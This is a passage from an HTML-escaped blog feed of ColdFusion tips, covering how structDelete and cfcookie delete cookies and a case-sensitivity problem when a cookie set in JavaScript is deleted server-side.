&lt;script src=&quot;https://gist.github.com/roulupen/a9be0e11e72e1d602272.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
I had written the above CF code to test. &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;- When first I run this page, I see two cookie variables - CFID and CFTOKEN. You can see the image below.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX0bjRMeKUx3k2cZH79Pkl2MXJlRxb6I5m0AlsK4LO5TPfvS4uh9LUw_I9AztaCUy5IFnMvO0iFpL3VPHPFxvok92D6InNkSRPnzEPfFxOvO7sR0wuv6D-mloKtBEY0IV_FrST4ZR1zbQ/s1600/cookie-delete-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX0bjRMeKUx3k2cZH79Pkl2MXJlRxb6I5m0AlsK4LO5TPfvS4uh9LUw_I9AztaCUy5IFnMvO0iFpL3VPHPFxvok92D6InNkSRPnzEPfFxOvO7sR0wuv6D-mloKtBEY0IV_FrST4ZR1zbQ/s1600/cookie-delete-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;- Next time, I run the same code with &quot;setx = 1&quot; in URL. It just created a new cookie variable &quot;X&quot;, with expiration date as one month ahead. You can see the image below.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYoM0UuoxvZjQg5urWptrmStWlcZ6oQm9MwRz10MFGPogvy55UGTG51kYMfQ8S2FgOCTW6Ln8wEC0NAMEwXIHYCeseOVoBDDj1owkoGkBE2a9D8azCSm-ixotgWrNy-IZ15B6pq6Akdkc/s1600/cookie-delete-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYoM0UuoxvZjQg5urWptrmStWlcZ6oQm9MwRz10MFGPogvy55UGTG51kYMfQ8S2FgOCTW6Ln8wEC0NAMEwXIHYCeseOVoBDDj1owkoGkBE2a9D8azCSm-ixotgWrNy-IZ15B6pq6Akdkc/s1600/cookie-delete-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;- Next, I run the same code again without any url parameter. So, it will go for delete section. As we have not passed any&amp;nbsp; url variable &quot;delByTag&quot;, so it will go for &quot;&lt;b&gt;structDelete&lt;/b&gt;&quot; section and in result you can see the cookie dump.&lt;br /&gt;
&amp;nbsp;- Refresh the page again, you will see the target cookie is deleted. As shown below.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYZU1Sxj0zIPMYrgzpBhxDuFHRuSOnfIet2P96lmJsKcCK1GNp_MAM4SMvRv741UxI8HILDOcGgNJuaQpRKRf0zHr4Yl9P7zps1YZCSrFBHnJytD5zoK2-qFi8vJjV20NmhhbXNImuxng/s1600/cookie-delete-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYZU1Sxj0zIPMYrgzpBhxDuFHRuSOnfIet2P96lmJsKcCK1GNp_MAM4SMvRv741UxI8HILDOcGgNJuaQpRKRf0zHr4Yl9P7zps1YZCSrFBHnJytD5zoK2-qFi8vJjV20NmhhbXNImuxng/s1600/cookie-delete-3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Question&lt;/span&gt;&lt;/b&gt;: &lt;b&gt;What exactly ColdFusion does to delete a cookie from browser?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;- Set the cookie &quot;X&quot; by following the above steps.&lt;br /&gt;
&amp;nbsp;- Pass url parameter &quot;delByTag = 1&quot; and run the page, you can see the cookie &quot;X&quot; is empty in seond dump after refreshing the page you will see no cookie &quot;X&quot; in dump. If we will notice the HTTP request for cookie delete then we will find the following screen shot.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjisY3WI6swYZFXvh0ZXZEchSKa0ITvyk02JOZxsEnOdlyY7QVmKZ9JEBYHU7VD9ImUhlHatV8IqQKhCrVUG0phZMp8lsY4ava9HePCKZNbLaLR4UkZqjMqFnMyDJ-kBnsW-Z69UxVCazQ/s1600/cookie-delete-explanation-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjisY3WI6swYZFXvh0ZXZEchSKa0ITvyk02JOZxsEnOdlyY7QVmKZ9JEBYHU7VD9ImUhlHatV8IqQKhCrVUG0phZMp8lsY4ava9HePCKZNbLaLR4UkZqjMqFnMyDJ-kBnsW-Z69UxVCazQ/s1600/cookie-delete-explanation-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
- As you can see, the HHTP response contains command to broser from ColdFusion to delete the cookie. That&#39;s why the browser removes the cookie.&lt;br /&gt;
&lt;br /&gt;
If you again set the cookie and for delete don&#39;t use &quot;delByTag = 1&quot;, so it will use struct delete and in that case if we will see the HTTP response as shown below. Here, we will see the a same thing in resopnse to delete the cookie.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDvZ3PbQpHB3D18lj89xEAQnMDkrZVRukTVqsikZ-aW3S8oatqBgQrLx4ZTIcJZzdLI_CQbNgiiGyba7P7jaHGjr5tbx1QcYMtHOfyVSnD2QX4Htr_gGnDqVX-mfPCdPa_jUWV0A-CZ9g/s1600/cookie-delete-explanation-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDvZ3PbQpHB3D18lj89xEAQnMDkrZVRukTVqsikZ-aW3S8oatqBgQrLx4ZTIcJZzdLI_CQbNgiiGyba7P7jaHGjr5tbx1QcYMtHOfyVSnD2QX4Htr_gGnDqVX-mfPCdPa_jUWV0A-CZ9g/s1600/cookie-delete-explanation-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The difference I found, by using cfcookie we can set a past date in the expiry field but &quot;structDelte&quot; will always use the current date for that operation. You can debug more by looking into the HTTP request/response.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Happy Coding!!!</description><link>http://coldfusion-tip.blogspot.com/2013/10/structdelete-cfcookie-for-delete-cookie.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX0bjRMeKUx3k2cZH79Pkl2MXJlRxb6I5m0AlsK4LO5TPfvS4uh9LUw_I9AztaCUy5IFnMvO0iFpL3VPHPFxvok92D6InNkSRPnzEPfFxOvO7sR0wuv6D-mloKtBEY0IV_FrST4ZR1zbQ/s72-c/cookie-delete-1.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-2785143149989107488</guid><pubDate>Thu, 24 Oct 2013 18:54:00 +0000</pubDate><atom:updated>2013-10-27T12:24:59.933+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Case sensitive issue with cookie in Coldfusion</category><category domain="http://www.blogger.com/atom/ns#">cfcookie</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">cookie</category><category domain="http://www.blogger.com/atom/ns#">JavaScript</category><title>Case Sensitive Issue With Cookie In ColdFusion</title><description>&lt;div align=&quot;LEFT&quot; style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Scenario&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;: Few days back one of my colleague was working on a shopping cart project. Where they were setting some cookie by using JavaScript (client side ) and then trying to delete that cookie from server side.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Issue:&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;After deleting the cookie each time it was assigning an empty string to that cookie but that cookie was present in cookie scope and in next request it was coming again.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;To show the exact situation I wrote following piece of ColdFusion code:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/ad38934868533165d800.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;First time, I run the code without any cookie I got following output.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1HUJRDyC1XrF-zVGtCEFSrL-hO7wKfZKekDYRqjy3KGxTfHsJFhnVF_1Es4dSoXkrkaywLpZ5i4au0DIg8Mt8eIOpO1JBd5SLXgG1FOXOORSyYoht9NrDQ5e3aIyo8d-Z6C39NYhiGsI/s1600/cookie-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;336&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1HUJRDyC1XrF-zVGtCEFSrL-hO7wKfZKekDYRqjy3KGxTfHsJFhnVF_1Es4dSoXkrkaywLpZ5i4au0DIg8Mt8eIOpO1JBd5SLXgG1FOXOORSyYoht9NrDQ5e3aIyo8d-Z6C39NYhiGsI/s640/cookie-1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;As we see there is only two cookie in ColdFusion dump and also in Firebug( i.e, - CFID and CFTOKEN)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Then, I run following piece of JS code to set a cookie with name &#39;x&#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #4f81bd; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-themecolor: accent1;&quot;&gt;document.cookie = &#39;x=test; expires=Fri, 25 Oct 2013 20:47:11 GMT; path=/&#39;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;CASE - 1:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Next, I run the ColdFusion code and I got following result:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIqJ5Z8PL3dEe-hELQ9D2jXVaVEr1d2KHJfcvc5OmKb0cI6EldxtH1eMz7IQ2lux7SlGiPHtcuCu5tYrW-jP4YQ8JiDxF9CVbpl4bS2Fag_l6VYXq7vZQQ0eM7TBNe5N00szB8TXqgOhI/s1600/cookie-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;352&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIqJ5Z8PL3dEe-hELQ9D2jXVaVEr1d2KHJfcvc5OmKb0cI6EldxtH1eMz7IQ2lux7SlGiPHtcuCu5tYrW-jP4YQ8JiDxF9CVbpl4bS2Fag_l6VYXq7vZQQ0eM7TBNe5N00szB8TXqgOhI/s640/cookie-2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;margin-bottom: 0.0001pt; text-indent: -0.25in;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;First Line of ColdFusion code it just dumps cookie scope, where we can see our cookie in lower case with value “test”.&lt;/span&gt;&lt;span style=&quot;font-family: Symbol; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: Symbol; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;Next line, if cookie “x” exists then, show message “Inside if” and delete that cookie by setting expiry date as now and value empty string(“”).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;Else show message “Inside Else”.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;Dump cookie scope.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;I run the same page multiple times I got same results, means my cookie is not getting deleted. If you notice the first cookie dump shows “x” in lower case and next cookie dump shows in upper case.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;CASE - 2:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;In second test case I cleared all my cookies and again run the following JS code to set the cookie.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: #548dd4; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-themecolor: text2; mso-themetint: 153;&quot;&gt;document.cookie = &#39;X=test; expires=Fri, 25 Oct 2013 20:47:11 GMT; path=/&#39;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Here, if you notice I have set cookie name in upper case. Then I run the ColdFusion code and I got the following result:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8pplMGO3Ecl8svOrA6efsOxMgeMVS7dbZ0lDVJCqPC7woEyMe2ZIxbPVgch4FPUaHVBIM6_0bGCoes5ZFahwJW9Ut37P5swrPJtkBMt7xkrHJ41cAnL0xRv-rXXf2pQo6lnMc8-JsNhE/s1600/cookie-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;340&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8pplMGO3Ecl8svOrA6efsOxMgeMVS7dbZ0lDVJCqPC7woEyMe2ZIxbPVgch4FPUaHVBIM6_0bGCoes5ZFahwJW9Ut37P5swrPJtkBMt7xkrHJ41cAnL0xRv-rXXf2pQo6lnMc8-JsNhE/s640/cookie-3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Here, if you will notice cookie name is in upper case in both the dump and in Fire bug cookie “X” is not available. Then, I refreshed the page and I got following result:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRitOsCFnSpM_JzXFECoopNcnbvJZwUlkCdlQCYPaYPWA9bt_flGauBe3BSa0EA4RB-HKEFSg-MwcD45hbTovZulOnPhELqHF_zrm7_qwK1pqVhxA0PVlnFiPPmD_QVjL82GHF57hU-gM/s1600/cookie-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRitOsCFnSpM_JzXFECoopNcnbvJZwUlkCdlQCYPaYPWA9bt_flGauBe3BSa0EA4RB-HKEFSg-MwcD45hbTovZulOnPhELqHF_zrm7_qwK1pqVhxA0PVlnFiPPmD_QVjL82GHF57hU-gM/s640/cookie-4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Ahhh. My cookie got deleted, means our target achieved.&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Question:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4f81bd; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-themecolor: accent1;&quot;&gt;What was the problem in previous case why we were&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #4f81bd; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-themecolor: accent1;&quot;&gt;unable to delete that when it was in lower case?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #4f81bd; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-themecolor: accent1;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #00b050; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;Explanation&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;ColdFusion is case insensitive, means if we name variable &amp;nbsp;name as “x” and “X” both are&amp;nbsp; same for ColdFusion.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;JavaScript is case sensitive, means variable&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px; text-indent: -0.25in;&quot;&gt;“x” and “X” are different&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt; text-indent: -0.25in;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in;&quot;&gt;
